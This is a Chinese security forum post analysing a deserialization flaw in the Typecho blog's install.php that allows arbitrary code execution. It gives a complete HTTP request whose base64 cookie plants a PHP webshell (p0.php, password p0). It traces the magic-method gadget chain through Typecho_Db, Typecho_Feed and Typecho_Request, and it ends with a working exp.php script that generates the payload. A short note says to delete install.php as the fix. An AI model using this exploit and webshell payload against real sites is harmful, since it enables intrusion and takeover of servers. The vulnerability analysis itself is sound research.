K8安全团队
查看: 568|回复: 0

Typecho install.php 反序列化导致任意代码执行

[复制链接]
  • TA的每日心情
    开心
    2017-6-13 17:07
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2017-12-5 10:52:50 | 显示全部楼层 |阅读模式

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
    0x00 前言
    听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己当初安装完就把这个文件和install目录删了,看来当初自己安全意识还是可以滴 233
    0x01 Payload
    [AppleScript] 纯文本查看 复制代码
    GET /typecho/install.php?finish=1 HTTP/1.1
    Host: 192.168.211.169
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
    Referer:[url=http://192.168.211.169/typecho/install.php]http://192.168.211.169/typecho/install.php[/url]
    Connection: close
    Upgrade-Insecure-Requests: 1
    便会在网站根目录下生产一句话p0.php,密码p0
    0x02 反序列化可控点
    install.php 288-235行
    [PHP] 纯文本查看 复制代码
    <?php else : ?>
        <?php
        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
        Typecho_Cookie::delete('__typecho_config');
        $db = new Typecho_Db($config['adapter'], $config['prefix']);
        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
        Typecho_Db::set($db);
    ?>

    第230行获取cookie中的__typecho_config值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。
    反序列化后232行把$config['adapter']和$config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_Db的addServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。
    0x03 反序列化触发点
    全局搜索__destruct()和__wakeup():
    只发现了两处__destruct(),跟进去并没发现可利用的地方。
    继续看Typecho_Db类
    构造方法,Db.php 114-135行
    [PHP] 纯文本查看 复制代码
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;
    
        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }
    
        $this->_prefix = $prefix;
    
        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();
    
        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

    发现第120行对传入的$adapterName进行了字符串的拼接操作。那么如果$adapterName传入的是个实例化对象,就会触发该对象的__toString()魔术方法。
    全局搜索__toString():
    发现三处,跟进,第一个发现并没有可以直接利用的地方。
    跟进Typecho_Query类的__toString()魔术方法,Query.php 488-519行:
    [PHP] 纯文本查看 复制代码
    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }
    
                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }

    第492行$this->_adapter调用parseSelect()方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()魔术方法。
    全局搜索__call():
    发现几处,挨个跟进发现Typecho_Plugin类的__call()魔术方法存在回调函数,Plugin.php 479-494行:
    [AppleScript] 纯文本查看 复制代码
    public function __call($component, $args)
    {
        $component = $this->_handle . ':' . $component;
        $last = count($args);
        $args[$last] = $last > 0 ? $args[0] : false;
    
        if (isset(self::$_plugins['handles'][$component])) {
            $args[$last] = NULL;
            $this->_signal = true;
            foreach (self::$_plugins['handles'][$component] as $callback) {
                $args[$last] = call_user_func_array($callback, $args);
            }
        }
    
        return $args[$last];
    }

    $component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了。
    继续跟进Typecho_Feed类的__toString()魔术方法,Feed.php 340-360行
    [PHP] 纯文本查看 复制代码
    } else if (self::ATOM1 == $this->_type) {
                $result .= '<feed xmlns="http://www.w3.org/2005/Atom"
    xmlns:thr="http://purl.org/syndication/thread/1.0"
    xml:lang="' . $this->_lang . '"
    xml:base="' . $this->_baseUrl . '"
    >' . self::EOL;
    
                $content = '';
                $lastUpdate = 0;
    
                foreach ($this->_items as $item) {
                    $content .= '<entry>' . self::EOL;
                    $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
                    $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
                    $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
                    $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
                    $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
                    $content .= '<author>
        <name>' . $item['author']->screenName . '</name>
        <uri>' . $item['author']->url . '</uri>
    </author>' . self::EOL;

    第358行$item['author']调用screenName属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()魔术方法。
    全局搜索__get():
    发现了几处,最终确定Typecho_Request类存在可利用的地方
    __get()魔术方法调用get()方法,Request.php 293-309行:
    [PHP] 纯文本查看 复制代码
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
    
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

    308行调用_applyFilter()方法,传入的$value是$this->_params[$key]的值,$key就是screenName。
    跟进_applyFilter(),Request.php 159-171行:
    [PHP] 纯文本查看 复制代码
    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
    
            $this->_filter = array();
        }
    
        return $value;
    }

    第163行array_map和164行call_user_func均可造成任意代码执行。
    0x04 构造Payload
    Payload:exp.php
    [PHP] 纯文本查看 复制代码
    <?php
    
    class Typecho_Feed{
        private $_type = 'ATOM 1.0';
        private $_charset = 'UTF-8';
        private $_lang = 'zh';
        private $_items = array();
    
        public function addItem(array $item){
            $this->_items[] = $item;
        }
    }
    
    class Typecho_Request{
        private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'<?php @eval($_POST[p0]);?>\')');
        private $_filter = array('assert');
    }
    
    $payload1 = new Typecho_Feed();
    $payload2 = new Typecho_Request();
    $payload1->addItem(array('author' => $payload2));
    $exp = array('adapter' => $payload1, 'prefix' => 'typecho');
    echo base64_encode(serialize($exp));

    0x05 修补方法
    删除install.php及install目录
    如有错误请指出


    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    Powered by Discuz! X3.2 © 2001-2016 Comsenz Inc.

    返回顶部